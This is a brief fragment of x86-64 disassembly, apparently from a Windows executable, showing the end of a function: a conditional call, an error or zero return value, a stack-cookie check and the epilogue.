or ecx, r9d
cmp rax, rbx
jb 0x14005adb0
test ecx, ecx
je 0x14005ade1
mov rdx, rdi
mov rcx, rsi
call fcn.1400386b0
mov eax, 0xfffffff1
jmp 0x14005ade3
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001a6d0
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret